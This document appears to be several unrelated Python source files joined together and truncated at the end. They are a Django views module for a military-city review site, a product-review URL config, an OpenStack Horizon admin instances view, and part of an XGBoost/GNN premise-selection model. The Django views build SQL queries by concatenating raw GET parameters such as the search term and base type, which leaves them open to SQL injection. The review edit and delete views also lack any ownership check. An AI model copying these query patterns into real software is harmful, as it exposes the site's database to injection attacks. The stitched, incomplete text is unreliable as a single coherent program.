from django.shortcuts import render, redirect, get_object_or_404
from django.db import connection
# from cities.models import Cities, Reviews
from cities.models import CityReviews
from cities.forms import CreateReviewForm, UpdateReviewForm
from account.models import Account

######################################
#         Helper Functions           #
######################################

def dictfetchall(cursor):
    "Return all rows from a cursor as a dict"
    columns = [col[0] for col in cursor.description]
    return [
        dict(zip(columns, row))
        for row in cursor.fetchall()
    ]

# old function that was used in old deliverable
def get_cities_sql():
    with connection.cursor() as cursor:
        cursor.execute("SELECT City, Sum(Population) AS Population FROM `cities_cities` group by City Limit 10;")
        cities = dictfetchall(cursor)
    return cities

# query that is used to search for cities by name
def search_city_match(query=None):
    with connection.cursor() as cursor:
        cursor.execute("SELECT City_ID as CityID, City, State FROM C_US_MilitaryCities WHERE City LIKE '%" + str(query)+ "%' Order by length(City), City, State Limit 25")
        cities = dictfetchall(cursor)
    return cities

# need to change to be large query with tons of joins
def get_city_by_id(id=None):
    with connection.cursor() as cursor:
        cursor.execute("SELECT * FROM C_US_MilitaryCities WHERE CITY_ID = "+str(id))
        city = dictfetchall(cursor)
    return city[0]

# pulls just city id and population
def get_population_by_id(id):
        with connection.cursor() as cursor:
            cursor.execute("SELECT City_ID, SUM(Population) AS Pop FROM C_ZipCodeFix WHERE CITY_ID = "+str(id)+" GROUP BY City_ID")
            id_pop = dictfetchall(cursor)
        if len(id_pop) > 0:
            return id_pop[0]
        else: return {"City_ID":id, "Pop":" No Population Data Found"}

def get_top_7_state_tax(cityid):
        with connection.cursor() as cursor:
            cursor.execute("select us.State as state, st.Tax_Type as tax, st.AMOUNT/1000000 as amount from C_UnitedStates as us, C_StateTax st, C_US_MilitaryCities as mil_c where mil_c.City_ID = "+str(cityid)+" and mil_c.State_ID = us.State_ID and us.State = st.State and st.Tax_Type <> 'Total Taxes' group by us.State, st.Tax_Type, st.AMOUNT order by amount desc limit 7")
            st_tax = dictfetchall(cursor)
        return st_tax

def get_state_tax(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''select * from
                                (select us.State as state, st.Tax_Type as tax, st.AMOUNT as amount
                                    from C_UnitedStates as us, C_StateTax st, C_US_MilitaryCities as mil_c
                                    where mil_c.City_ID = '''+str(cityid)+''' and mil_c.State_ID = us.State_ID
                                    and us.State = st.State and st.Tax_Type <> 'Total Taxes'
                                    group by us.State, st.Tax_Type, st.AMOUNT order by st.Tax_Type) a
                                left join (select st.Tax_Type as tax, avg(st.AMOUNT) as avg_amount
                                    from C_StateTax st
                                    where st.State <> 'Total_US'
                                    group by st.Tax_Type order by st.Tax_Type) b
                                on a.tax = b.tax
                                order by avg_amount''')
            st_tax_avg = dictfetchall(cursor)
        return st_tax_avg

def get_reviews_by_city(cityid):
    with connection.cursor() as cursor:
        cursor.execute("select mcs.City, mcs.State, cr.Rating, cr.Comments from (Select mc.City, us.State from (select State_ID, City from C_US_MilitaryCities where City_ID = "+str(cityid)+") mc left join C_UnitedStates us on us.State_ID = mc.State_ID) mcs left join cities_cityreviews cr on mcs.City = cr.City and mcs.State = cr.State")
        reviews = dictfetchall(cursor)
    return reviews

def get_cityavg_ratings_by_city(cityid):
    with connection.cursor() as cursor:
        cursor.execute("select mcs.City, mcs.State, avg(cr.Rating) as avg_rating from (Select mc.City, us.State from (select State_ID, City from C_US_MilitaryCities where City_ID = "+str(cityid)+") mc left join C_UnitedStates us on us.State_ID = mc.State_ID) mcs left join cities_cityreviews cr on mcs.City = cr.City and mcs.State = cr.State")
        rating = dictfetchall(cursor)
    return rating[0]

def get_stateavg_ratings_by_city(cityid):
    with connection.cursor() as cursor:
        cursor.execute("select mcs.State, avg(cr.Rating) as avg_rating from (Select us.State from (select State_ID from C_US_MilitaryCities where City_ID = "+str(cityid)+") mc left join C_UnitedStates us on us.State_ID = mc.State_ID) mcs left join cities_cityreviews cr on mcs.State = cr.State group by mcs.State")
        rating = dictfetchall(cursor)
    return rating[0]

def get_militarybases(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''select cs.State, mb.SiteName, mb.Component, mb.Status from M_MilitaryBases mb
                                right join (select us.State from C_US_MilitaryCities mc
                                	           left join C_UnitedStates us on us.State_ID = mc.State_ID
                                	           where mc.City_ID = '''+str(cityid)+''') cs on cs.State = mb.State order by Status ASC''')
            bases = dictfetchall(cursor)
        return bases

def get_militarycare(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''Select cf.FacilityName, cf.PRIM_SVC, cf.S_CITY, cf.S_STATE, cf.S_ADD1, cf.S_ADD2, cf.Type from M_Polytrauma_Care_Facility cf
                                right join (select City, State from C_US_MilitaryCities mc
                                where mc.City_ID = '''+str(cityid)+''') cs on cs.State = cf.S_STATE''')
            care_centers = dictfetchall(cursor)
        return care_centers

def get_militarygrantsavg(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''select g.GrantValue, a.g_avg from M_VA_HomeGrant g, (SELECT avg(GrantValue) as g_avg from M_VA_HomeGrant) a
                                where g.State = (select mc.State from C_US_MilitaryCities mc
                                					where mc.City_ID = '''+str(cityid)+''')''')
            avgs = dictfetchall(cursor)
        return avgs

def get_military_grant_per_population(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''SELECT hg.State, hg.GrantValue/pop.Pop as val_per_person,
                                 CASE When hg.State = (select State from C_US_MilitaryCities where City_ID = '''+str(cityid)+''')
                                     THEN "#e85d47" ELSE "#17a2b8" END AS color
                                 From M_VA_HomeGrant hg
                                 left join (SELECT us.ST_Code, p.Pop
                                     from C_UnitedStates us left join (select State_ID, SUM(Population) as Pop
                                                                         from C_ZipCodeFix group by State_ID) p
                                                              on p.State_ID = us.State_ID) pop
                                  on pop.ST_Code = hg.State order by val_per_person desc''')
            ratios = dictfetchall(cursor)
        return ratios

def get_bully_avg():
        with connection.cursor() as cursor:
            cursor.execute('''select avg(BiasOfSexAllegations) as sex_al,
                                avg(Sex_race_Origin_Allegations) as sex_race_al, avg(BiasOfDisabilityAllegations) as dis_al
                                from S_Bullying_HarrassmentReports''')
            avgs = dictfetchall(cursor)
        return avgs

def get_bully_data(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''select st.State, BiasOfSexAllegations as sex_al, Sex_race_Origin_Allegations as sex_race_al, BiasOfDisabilityAllegations as dis_al
                                 from S_Bullying_HarrassmentReports bhs
                                 right join (select State from C_UnitedStates
                                             where State_ID = (select State_ID from C_US_MilitaryCities where City_ID = '''+str(cityid)+''')) st
                                 on st.State = bhs.State''')
            state_vals = dictfetchall(cursor)
            avgs = get_bully_avg()
        return {"avgs":avgs[0], "state_vals":state_vals[0]}

def get_bully_data_by_state(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''SELECT bhr.State, bhr.NumOfSchools as schools, bhr.NumAllegations/bhr.NumOfSchools as al_per_school,
                                 CASE When bhr.State = (select State from C_UnitedStates us
                                                          right join (select State_ID from C_US_MilitaryCities where City_ID = '''+str(cityid)+''') st
                                                          on st.State_ID = us.State_ID)
                                  THEN "#20c8e3" ELSE "#17a2b8" END AS color From S_Bullying_HarrassmentReports bhr
                                  order by State asc''')
            values = dictfetchall(cursor)
        return values

def get_teach_data_by_state(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''SELECT tce.State, tce.FullTimeTeachers/tce.NumOfSchools as teach_per_school, tce.Cert_Lic_Percent,
                                     CASE When tce.State = (select State from C_UnitedStates us
                                                             right join (select State_ID from C_US_MilitaryCities where City_ID = '''+str(cityid)+''') st
                                                             on st.State_ID = us.State_ID)
                                     THEN "#20c8e3" ELSE "#17a2b8" END AS color
                                     From S_SCH_TeacherCertAndExperience tce
                                     order by State asc''')
            values = dictfetchall(cursor)
        return values

def get_sales_tax_by_state(cityid):
        with connection.cursor() as cursor:
            cursor.execute('''SELECT tx.State, tx.CombinedRate,
                                    CASE When tx.State = (select State from C_UnitedStates us
                                                            right join (select State_ID from C_US_MilitaryCities where City_ID = '''+str(cityid)+''') st
                                                            on st.State_ID = us.State_ID)
                                    THEN "#e85d47" ELSE "#17a2b8" END AS color From C_StateTaxPercent tx order by State asc''')
            values = dictfetchall(cursor)
        return values

def city_match_query(max_pop, min_pop, mil, base):
    # just pop
    if mil =="No" and base == "No":
        with connection.cursor() as cursor:
            cursor.execute('''Select mc.State as StateCode, mc.City, z.City_Id as CityID, z.total_pop from
                            (Select City_ID, Sum(Population) as total_pop from C_ZipCodeFix
                            group by City_ID
                            having total_pop >= '''+str(min_pop)+''' and total_pop <= '''+str(max_pop)+''') z
                            left join C_US_MilitaryCities mc on mc.City_ID = z.City_ID limit 100''')
            cities = dictfetchall(cursor)
    # pop plus bool mil aid
    elif mil !="No" and base == "No":
        with connection.cursor() as cursor:
            cursor.execute('''select * from (
                                Select us.State as State, mc.State as StateCode, mc.City, z.City_Id as CityID, z.total_pop
                                    from (Select City_ID, Sum(Population) as total_pop from C_ZipCodeFix
                                                group by City_ID
                                                having total_pop >= '''+str(min_pop)+''' and total_pop <= '''+str(max_pop)+''') z
                                                left join C_US_MilitaryCities mc on mc.City_ID = z.City_ID
                                                left join C_UnitedStates us on us.State_ID = mc.State_ID) base
                                    where City in (SELECT S_CITY from M_Polytrauma_Care_Facility)''')
            cities = dictfetchall(cursor)
    # pop plus base type
    elif mil =="No" and base != "No":
        with connection.cursor() as cursor:
            cursor.execute('''select * from (
                                Select us.State, mc.City, z.City_Id as CityID, z.total_pop
                                    from (Select City_ID, Sum(Population) as total_pop from C_ZipCodeFix
                                                group by City_ID
                                                having total_pop >= '''+str(min_pop)+''' and total_pop <= '''+str(max_pop)+''') z
                                                left join C_US_MilitaryCities mc on mc.City_ID = z.City_ID
                                                left join C_UnitedStates us on us.State_ID = mc.State_ID) base
                                    where State in (SELECT State from M_MilitaryBases where Component = "'''+str(base)+'''") limit 100''')
            cities = dictfetchall(cursor)
    # everything
    else:
        with connection.cursor() as cursor:
            cursor.execute('''select * from (
                                Select us.State as State, mc.State as StateCode, mc.City, z.City_Id as CityID, z.total_pop
                                    from (Select City_ID, Sum(Population) as total_pop from C_ZipCodeFix
                                                group by City_ID
                                                having total_pop >= '''+str(min_pop)+''' and total_pop <= '''+str(max_pop)+''') z
                                                left join C_US_MilitaryCities mc on mc.City_ID = z.City_ID
                                                left join C_UnitedStates us on us.State_ID = mc.State_ID) base
                                    where State in (SELECT State from M_MilitaryBases where Component = "'''+str(base)+'''")
                                    and City in (SELECT S_CITY from M_Polytrauma_Care_Facility)''')
            cities = dictfetchall(cursor)
    if len(cities) > 0:
        return cities
    else: return {"City":"No Cities found with those requirements"}

######################################
#          View Functions            #
######################################

def home_screen_view(request):
    context = {}
    return render(request, "cities/home.html", context)

def search_cities(request):
    context = {}
    if request.GET:
        query = request.GET['q']
        context['query'] = str(query)
        context['cities'] = search_city_match(query)
    return render(request, 'cities/search.html', context)

def city_match(request):
    context = {}
    if request.GET:
        max_pop = request.GET['max_pop']
        min_pop = request.GET['min_pop']
        mil = request.GET['military']
        base = request.GET['m_base']
        context['min_pop'] = int(min_pop)
        context['max_pop'] = int(max_pop)
        context['m_base'] = str(base)
        context['military'] = str(mil)
        context['cities'] = city_match_query(max_pop, min_pop, mil, base)
    return render(request, "cities/city_match.html", context)

def detail_city(request, id):
    context = {}
    city = get_city_by_id(id)
    cityid_pop = get_population_by_id(id)
    context['city'] = city
    context['cityid_pop'] = cityid_pop
    context['st_tax'] = get_top_7_state_tax(id)
    context['st_tax_avg'] = get_state_tax(id)
    context['reviews'] = get_reviews_by_city(id)
    context['city_rating'] = get_cityavg_ratings_by_city(id)
    context['state_rating'] = get_stateavg_ratings_by_city(id)
    context['militarybases'] = get_militarybases(id)
    context['militarycare'] = get_militarycare(id)
    context['military_grantavgs'] = get_militarygrantsavg(id)
    context['grant_per_pop'] = get_military_grant_per_population(id)
    context['school_bully'] = get_bully_data(id)
    context['school_bully_st'] = get_bully_data_by_state(id)
    context['school_teacher'] = get_teach_data_by_state(id)
    context['sales_tax'] = get_sales_tax_by_state(id)
    return render(request, 'cities/city_detail.html', context)

############### REVIEW ###############
def create_review(request):
    context = {}
    user = request.user
    if request.POST:
        form = CreateReviewForm(request.POST)
        if form.is_valid():
            obj = form.save(commit=False)
            author = Account.objects.filter(email=request.user.email).first()
            obj.author = author
            obj.save()
    else:
        form = CreateReviewForm()
    context['form'] = form
    return render(request, 'cities/create_review.html', context)

def detail_review(request, slug):
    context = {}
    review = get_object_or_404(CityReviews, slug=slug)
    context['review'] = review
    return render(request, 'cities/detail_review.html', context)

def delete_review(request, slug):
    context = {}
    obj = get_object_or_404(CityReviews, slug=slug)
    context['object'] = obj
    if request.POST:
        obj.delete()
        return redirect('home')
    return render(request, "cities/delete_review.html", context)

def edit_review(request, slug):
    context = {}
    user = request.user

    review = get_object_or_404(CityReviews, slug=slug)
    if request.POST:
        form = UpdateReviewForm(request.POST or None, instance=review)
        if form.is_valid():
            obj = form.save(commit=False)
            obj.save()
            context['success_message'] = "Updated Review for "+str(review.City)
            review = obj

    form = UpdateReviewForm(
			initial={
					"Comments": review.Comments,
					"Rating": review.Rating,
				}
			)
    context['form'] = form
    context['city'] = review.City
    return render(request, 'cities/edit_review.html', context)


from django.urls import path, include

from webapp.views import IndexView, ProductView, ProductCreateView, \
    ProductUpdateView, ProductDeleteView, ReviewCreateView, ReviewDeleteView, ReviewUpdateView

app_name = 'webapp'

urlpatterns = [
    path('', IndexView.as_view(), name='index'),

    path('product/', include([
        path('add/', ProductCreateView.as_view(), name='product_create'),
        path('<int:pk>/', include([
            path('', ProductView.as_view(), name='product_view'),
            path('update/', ProductUpdateView.as_view(), name='product_update'),
            path('delete/', ProductDeleteView.as_view(), name='product_delete'),
            path('add_review/', ReviewCreateView.as_view(), name='review_create'),
        ])),
    ])),
    path('review/', include([
        path('<int:pk>/', include([
            path('delete/', ReviewDeleteView.as_view(), name='review_delete'),
            path('update/', ReviewUpdateView.as_view(), name='review_update'),
        ])),
    ])),
]


from django.core.urlresolvers import reverse
from django.core.urlresolvers import reverse_lazy
from django.utils.datastructures import SortedDict
from django.utils.translation import ugettext_lazy as _
from horizon import exceptions
from horizon import forms
from horizon import tables
from horizon.utils import memoized
from openstack_dashboard.openstack.common import choices
from openstack_dashboard import api
from openstack_dashboard.dashboards.admin.instances \
    import forms as project_forms
from openstack_dashboard.dashboards.admin.instances \
    import tables as project_tables
from openstack_dashboard.dashboards.project.instances import views
from openstack_dashboard.dashboards.project.applyhost.workflows \
    import update_instance

from openstack_dashboard.dashboards.admin.controlcenter import views as controlcenter_views
from openstack_dashboard.openstack.common.requestapi import RequestApi,def_vcenter_vms,def_cserver_vms
import logging

LOG = logging.getLogger(__name__)

# re-use console from project.instances.views to make reflection work
def console(args, **kvargs):
    return views.console(args, **kvargs)

# re-use vnc from project.instances.views to make reflection work
def vnc(args, **kvargs):
    return views.vnc(args, **kvargs)

# re-use spice from project.instances.views to make reflection work
def spice(args, **kvargs):
    return views.spice(args, **kvargs)

# re-use rdp from project.instances.views to make reflection work
def rdp(args, **kvargs):
    return views.rdp(args, **kvargs)

class AdminUpdateView(views.UpdateView):
    workflow_class = update_instance.AdminUpdateInstance

class AdminIndexView(tables.DataTableView):
    table_class = project_tables.AdminInstancesTable
    template_name = 'admin/instances/index.html'

    def has_more_data(self, table):
        return self._more

    def has_prev_data(self, table):
        return self._prev

    def get_vcenter_uuid_maps_info(self):
        try:
            request_api = RequestApi()
            uuid_maps = request_api.getRequestInfo('api/heterogeneous/platforms/vcenter/uuid_maps') or []
            return uuid_maps
        except Exception:
            return {}

    def get_cserver_uuid_maps_info(self):
        try:
            request_api = RequestApi()
            uuid_maps = request_api.getRequestInfo('api/heterogeneous/platforms/cserver/uuid_maps') or []
            return uuid_maps
        except Exception:
            return {}

    def get_heterogeneous_plat(self, request):
        zarr = []
        heterogeneous_plat = controlcenter_views.get_heterogeneous_plat(request)
        for i in heterogeneous_plat:
            zarr.append((i.domain_name,i.virtualplatformtype,i.name))
        return zarr

    def get_data(self):
        instances = []
        marker = self.request.GET.get(
            project_tables.AdminInstancesTable._meta.pagination_param, None)
        prev_marker = self.request.GET.get(
            project_tables.AdminInstancesTable._meta.prev_pagination_param, None)
        search_opts = self.get_filters({'marker': marker,'prev_marker': prev_marker, 'paginate': True})
        try:
            instances, self._more, self._prev = api.nova.server_list_with_prev(
                self.request,
                search_opts=search_opts,
                all_tenants=True)

        except Exception:
            self._more = False
            exceptions.handle(self.request,
                              _('Unable to retrieve instance list.'))

        if instances:
            vcenter_uuid_maps_info = self.get_vcenter_uuid_maps_info()
            cserver_uuid_maps_info = self.get_cserver_uuid_maps_info()
            try:
                api.network.servers_update_addresses(self.request, instances,
                                                     all_tenants=True)
            except Exception:
                exceptions.handle(
                    self.request,
                    message=_('Unable to retrieve IP addresses from Neutron.'),
                    ignore=True)

            # Gather our flavors to correlate against IDs
            try:
                flavors = api.nova.flavor_list(self.request)
            except Exception:
                # If fails to retrieve flavor list, creates an empty list.
                flavors = []

            # Gather our tenants to correlate against IDs
            try:
                tenants, has_more = api.keystone.tenant_list(self.request)
            except Exception:
                tenants = []
                msg = _('Unable to retrieve instance project information.')
                exceptions.handle(self.request, msg)

            full_flavors = SortedDict([(f.id, f) for f in flavors])
            tenant_dict = SortedDict([(t.id, t) for t in tenants])

            # zhangdebo
            zarr = []
            zarr_got = False
            vcenter_vms = []
            cserver_vms = []
            vcenter_vms_got = False
            cserver_vms_got = False

            # Loop through instances to get flavor and tenant info.
            for inst in instances:
                inst.virtualplatformtype = 'Openstack'
#                 for i in zarr:
#                     if i[0] == getattr(inst,'OS-EXT-AZ:availability_zone',''):
                if inst.metadata and inst.metadata.get('platformtype'):
                    inst.virtualplatformtype = inst.metadata.get('platformtype')
                    if inst.virtualplatformtype == 'vcenter':
                        setattr(inst,'OS-EXT-SRV-ATTR:host','-')
                        if not vcenter_vms_got:
                            if not zarr_got:
                                zarr = self.get_heterogeneous_plat(self.request)
                                zarr_got = True
                            for i in zarr:
                                if i[0] == getattr(inst,'OS-EXT-AZ:availability_zone',''):
                                    vcenter_vms += def_vcenter_vms(i[2])
                                    vcenter_vms_got = True
                                    break
                        for v in vcenter_vms:
                            if v.get('id') == inst.id:
                                setattr(inst,'OS-EXT-SRV-ATTR:host',v.get('host'))
                                break
                    elif inst.virtualplatformtype == 'cserver':
                        setattr(inst,'OS-EXT-SRV-ATTR:host','-')
                        if not cserver_vms_got:
                            if not zarr_got:
                                zarr = self.get_heterogeneous_plat(self.request)
                                zarr_got = True
                            for i in zarr:
                                if i[0] == getattr(inst,'OS-EXT-AZ:availability_zone',''):
                                    cserver_vms += def_cserver_vms(i[2])
                                    cserver_vms_got = True
                        for v in cserver_vms:
                            if v.get('openstack_uuid') == inst.id:
                                setattr(inst,'OS-EXT-SRV-ATTR:host',v.get('hostname'))
                                break
#                         break

                if getattr(inst,'virtualplatformtype','') == 'vcenter':
                    if vcenter_uuid_maps_info.get(inst.id):
                        flavor_id = vcenter_uuid_maps_info.get(inst.id).get('flavor_id') or inst.flavor["id"]
                        for i in inst.addresses.keys():
                            for j in inst.addresses[i]:
                                j['addr'] = vcenter_uuid_maps_info.get(inst.id).get('ip') or ''
                    else:
                        flavor_id = inst.flavor["id"]
                        for i in inst.addresses.keys():
                            for j in inst.addresses[i]:
                                j['addr'] = ''
                elif getattr(inst,'virtualplatformtype','') == 'cserver':
                    if cserver_uuid_maps_info.get(inst.id):
                        flavor_id = cserver_uuid_maps_info.get(inst.id).get('flavor_id') or ''
                        for i in inst.addresses.keys():
                            for j in inst.addresses[i]:
                                j['addr'] = cserver_uuid_maps_info.get(inst.id).get('ip') or ''
                    else:
                        flavor_id = ''
                        for i in inst.addresses.keys():
                            for j in inst.addresses[i]:
                                j['addr'] = ''
                else:
                    flavor_id = inst.flavor["id"]

                if getattr(inst,'virtualplatformtype',''):
                    inst.virtualplatformtype = choices.translate(choices.CHOICES_VIRTUAL_TYPE,inst.virtualplatformtype)

                try:
                    if flavor_id in full_flavors:
                        inst.full_flavor = full_flavors[flavor_id]
                    else:
                        # If the flavor_id is not in full_flavors list,
                        # gets it via nova api.
                        inst.full_flavor = api.nova.flavor_get(
                            self.request, flavor_id)
                except Exception:
                    pass
#                     msg = _('Unable to retrieve instance size information.')
#                     exceptions.handle(self.request, msg)
                tenant = tenant_dict.get(inst.tenant_id, None)
                inst.tenant_name = getattr(tenant, "name", None)
        return instances

    def get_filters(self, filters):
        filter_field = self.table.get_filter_field()
        filter_action = self.table._meta._filter_action
        if filter_action.is_api_filter(filter_field):
            filter_string = self.table.get_filter_string()
            if filter_field and filter_string:
                filters[filter_field] = filter_string
        return filters

class LiveMigrateView(forms.ModalFormView):
    form_class = project_forms.LiveMigrateForm
    template_name = 'admin/instances/live_migrate.html'
    context_object_name = 'instance'
    success_url = reverse_lazy("horizon:admin:instances:index")

    def get_context_data(self, **kwargs):
        context = super(LiveMigrateView, self).get_context_data(**kwargs)
        context["instance_id"] = self.kwargs['instance_id']
        return context

    @memoized.memoized_method
    def get_hosts(self, *args, **kwargs):
        try:
            return api.nova.host_list(self.request)
        except Exception:
            redirect = reverse("horizon:admin:instances:index")
            msg = _('Unable to retrieve host information.')
            exceptions.handle(self.request, msg, redirect=redirect)

    @memoized.memoized_method
    def get_object(self, *args, **kwargs):
        instance_id = self.kwargs['instance_id']
        try:
            return api.nova.server_get(self.request, instance_id)
        except Exception:
            redirect = reverse("horizon:admin:instances:index")
            msg = _('Unable to retrieve instance details.')
            exceptions.handle(self.request, msg, redirect=redirect)

    def get_initial(self):
        initial = super(LiveMigrateView, self).get_initial()
        _object = self.get_object()
        if _object:
            current_host = getattr(_object, 'OS-EXT-SRV-ATTR:host', '')
            initial.update({'instance_id': self.kwargs['instance_id'],
                            'current_host': current_host,
                            'hosts': self.get_hosts()})
        return initial

class DetailView(views.DetailView):
    redirect_url = 'horizon:admin:instances:index'


import os
from joblib import Parallel, delayed
from importlib import import_module
from utils import read_lines, write_lines, read_features, read_deps, read_stms
from utils import mkdir_if_not_exists, rmdir_mkdir, write_empty, append_line
from utils import dict_features_numbers, similarity

class Model:
    def __init__(self, **kwargs):
        self.train_params = {}
        self.n_jobs = kwargs['n_jobs']
        self.logger = kwargs['logger']
        self.save_dir = kwargs['save_dir']
        self.chronology = kwargs['chronology']
        mkdir_if_not_exists(self.save_dir)

    def train(self, train_deps, train_neg_deps=None):
        # some models do not train (knn)
        self.train_deps = train_deps
        self.train_neg_deps = train_neg_deps

    def save(self):
        pass

    def delete(self):
        pass

    def make_predictions(self, scored_prems,
                         slices_lens=[4,8,16,32,64,128,256,512]):
        all_predictions = []
        for conj in scored_prems:
            sp = scored_prems[conj]
            sp.sort(key = lambda x: x[1], reverse = True)
            ranking = [p for p, s in sp]
            slices = [ranking[:i] for i in slices_lens]
            slices_to_save = [conj + ':' + ' '.join(s) for s in slices]
            all_predictions.extend(slices_to_save)
        write_lines(all_predictions, self.predictions_path)
        return self.predictions_path

class KNN(Model):
    def __init__(self, **kwargs):
        super(KNN, self).__init__(**kwargs)
        self.neighbours = kwargs['knn_neighbours']
        self.features = kwargs['features']
        self.save_dir = os.path.join(self.save_dir, 'knn')
        self.predictions_path = os.path.join(self.save_dir, 'predictions')
        mkdir_if_not_exists(self.save_dir)

    def predict(self, conjs):
        conjs = read_lines(conjs) if type(conjs) == str else conjs
        self.logger.print(f'Making predictions for {len(conjs)} conjectures...')
        chronology = read_lines(self.chronology)
        features = read_features(self.features)
        features_numbers = dict_features_numbers(features)
        deps = read_deps(self.train_deps)
        deps_u = read_deps(self.train_deps, unions=True)
        scored_prems = {}
        for conj in conjs:
            available_prems = set(chronology[:chronology.index(conj)])
            scored_prems[conj] = self.predict_1(conj, available_prems,
                 deps, deps_u, features, features_numbers, self.neighbours)
        self.predictions_path = self.make_predictions(scored_prems)
        self.logger.print(f'Predictions saved to {self.predictions_path}')
        return self.predictions_path

    @staticmethod
    def predict_1(conj, available_prems, deps, deps_u, features,
                  features_numbers, n_neighbours=100):
        assert not conj in available_prems
        available_thms = {t for t in deps_u if deps_u[t] <= available_prems}
        simils = {thm: similarity((conj, features[conj]),
                                  (thm,  features[thm]),
                                  features_numbers, len(available_thms))
                            for thm in available_thms} # TODO len(av_thms) ??
        simils_sorted = sorted(simils.values(), reverse=True)
        N_thresh = simils_sorted[min(n_neighbours, len(simils) - 1)]
        N_nearest_thms = {t for t in simils if simils[t] >= N_thresh}
        prems_scores = {}
        for thm in N_nearest_thms:
            prems_scores_one = {}
            for prf in deps[thm]:
                for prm in prf:
                    try: prems_scores_one[prm] += 1
                    except: prems_scores_one[prm] = 1
            for prm in prems_scores_one:
                scr = simils[thm] * prems_scores_one[prm] ** .3
                try: prems_scores[prm] = prems_scores[prm] + scr
                except: prems_scores[prm] = scr
        assert not conj in prems_scores
        sorted_prems = sorted(prems_scores,
                               key=prems_scores.__getitem__, reverse=True)
        maximum = prems_scores[sorted_prems[0]]
        if maximum == 0: maximum = 1 # sometimes maximum = 0
        prems_scores_norm = [(p, prems_scores[p]/maximum) for p in sorted_prems]
        return prems_scores_norm

class XGBoost(Model):
    def __init__(self, **kwargs):
        super(XGBoost, self).__init__(**kwargs)
        self.xgb = import_module('xgboost')
        self.xgb_prep = import_module('xgb.prepare_data')
        self.save_dir = os.path.join(self.save_dir, 'xgb')
        mkdir_if_not_exists(self.save_dir)
        self.model_path = os.path.join(self.save_dir, 'model')
        self.features = kwargs['features']
        self.predictions_path = os.path.join(self.save_dir, 'predictions')
        self.knn_prefiltering = kwargs['xgb_knn_prefiltering']
        self.train_params_rounds = kwargs['xgb_rounds']
        self.train_params['max_depth'] = 10
        self.train_params['eta'] = kwargs['xgb_eta']
        self.train_params['booster'] = 'gbtree'
        self.train_params['objective'] = 'binary:logistic'
        self.train_params['n_jobs'] = self.n_jobs

    def prepare(self):
        kwargs = {
            'train_deps': self.train_deps,
            'train_neg_deps': self.train_neg_deps,
            'features': self.features,
            'chronology': self.chronology,
            'save_dir': self.save_dir,
            'n_jobs': self.n_jobs,
        }
        return self.xgb_prep.deps_to_train_array(**kwargs)

    def train(self, train_deps, train_neg_deps=None):
        self.train_deps = train_deps
        self.train_neg_deps = train_neg_deps
        self.logger.print('Preparing training data...')
        labels, array = self.prepare()
        dtrain = self.xgb.DMatrix(array, label=labels)
        self.logger.print('Training data prepared')
        self.logger.print('Training XGBoost model...')
        model = self.xgb.train(self.train_params, dtrain,
                          num_boost_round=self.train_params_rounds,
                          evals=[(dtrain, 'train')], verbose_eval=100)
        self.logger.print('Training XGBoost model done')
        self.logger.print(self.show_config())
        self.save(model)
        self.logger.print(f'Model saved to {self.model_path}')

    def show_config(self, padding=' ' * 25):
        message = 'Parameters of the XGBoost model:\n'
        message += padding
        message += f"rounds: {self.train_params_rounds}\n"
        message += padding
        message += f"eta: {self.train_params['eta']}\n"
        message += padding
        message += f"max_depth: {self.train_params['max_depth']}\n"
        message += padding
        message += f"booster: {self.train_params['booster']}\n"
        message += padding
        message += f"objective: {self.train_params['objective']}"
        return message

    def predict(self, conjs, max_num_prems=None):
        if max_num_prems == None:
            max_num_prems = self.knn_prefiltering
        conjs = read_lines(conjs) if type(conjs) == str else conjs
        self.logger.print(f'Making predictions for {len(conjs)} conjectures...')
        chronology = read_lines(self.chronology)
        features = read_features(self.features)
        features_numbers = dict_features_numbers(features) # for knn prefilering
        deps = read_deps(self.train_deps, unions=True) # for knn prefilering
        model = self.load()
        scored_prems = {}
        for conj in conjs:
            available_prems = set(chronology[:chronology.index(conj)])
            if len(available_prems) < max_num_prems:
                candidate_prems = available_prems
            else:
                candidate_prems = self.knn_prefilter(conj, available_prems,
                                                     deps, features,
                                                     features_numbers)
            scored_prems[conj] = self.score_prems(conj, candidate_prems,
                                                  model, features)
        self.predictions_path = self.make_predictions(scored_prems)
        self.logger.print(f'Predictions saved to {self.predictions_path}')
        return self.predictions_path

    def knn_prefilter(self, conj, available_prems, deps, features,
                      features_numbers, N_thms=1024):
        candidate_prems = set()
        available_thms = {t for t in deps if deps[t] <= available_prems}
        simils = {thm: similarity((conj, features[conj]),
                                  (thm,  features[thm]),
                                  features_numbers, len(available_thms))
                            for thm in available_thms}
                                        # TODO is len(available_thms) ok here?
        simils_sorted = sorted(simils.values(), reverse=True)
        N_thresh = simils_sorted[min(N_thms, len(simils) - 1)]
        N_nearest_thms = {t for t in simils if simils[t] >= N_thresh}
        for thm in N_nearest_thms:
            candidate_prems.update(deps[thm])
        assert candidate_prems <= available_prems
        return candidate_prems

    def score_prems(self, conj, premises, xgb_model, features):
        pairs = [(conj, p) for p in premises]
        array = self.xgb_prep.pairs_to_array(pairs, features)
        array = self.xgb.DMatrix(array)
        scores = xgb_model.predict(array)
        premises_scores = list(zip(premises, scores))
        return premises_scores

    def save(self, model):
        model.save_model(self.model_path)
        return self.model_path

    def load(self):
        model = self.xgb.Booster()
        model.load_model(self.model_path)
        return model

class GNN(Model):
    def __init__(self, **kwargs):
        super(GNN, self).__init__(**kwargs)
        warn = import_module('warnings'); warn.filterwarnings("ignore")
        self.gnn_prep= import_module('gnn.data_preparation')
        self.gnn= import_module('gnn.gnn')
        self.stms = kwargs['statements']
        self.save_dir = os.path.join(self.save_dir, 'gnn')
        self.model_dir = os.path.join(self.save_dir, 'model')
        self.training_dir = os.path.join(self.save_dir, 'training')
        self.testing_dir = os.path.join(self.save_dir, 'testing')
        self.predictions_path = os.path.join(self.save_dir, 'predictions')
        self.n_deps_per_example = kwargs['gnn_n_deps_per_example']
        self.batch_size = kwargs['gnn_batch_size']
        self.epochs = kwargs['gnn_epochs']
        self.features = kwargs['features']

    def prepare_training_dir(self):
        train_deps = read_deps(self.train_deps)
        train_deps_u = read_deps(self.train_deps, unions=True)
        thms = set(train_deps)
        chronology = read_lines(self.chronology)
        features = read_features(self.features)
